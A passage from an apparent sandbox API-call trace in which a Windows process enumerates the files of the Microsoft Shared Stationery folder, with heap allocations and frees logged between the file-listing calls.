ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e620 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1a28 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e640 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1b30 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x640) returned 0xf870d0 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.896] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e660 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1c38 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.896] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e680 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1d40 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.896] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e6a0 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1e48 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e6c0 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa1f50 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e6e0 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2058 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e700 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2160 [0057.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.897] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e720 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2268 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e740 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2370 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e760 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2478 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e780 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2580 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.899] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2dc8 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2688 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.899] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2de8 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2790 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.899] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2e08 [0057.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2898 [0057.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.900] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2e28 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa29a0 [0057.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.900] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2e48 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa2aa8 [0057.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.900] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2e68 [0057.900] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0057.901] GetLastError () returned 0x12 [0057.901] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0057.901] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0057.901] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 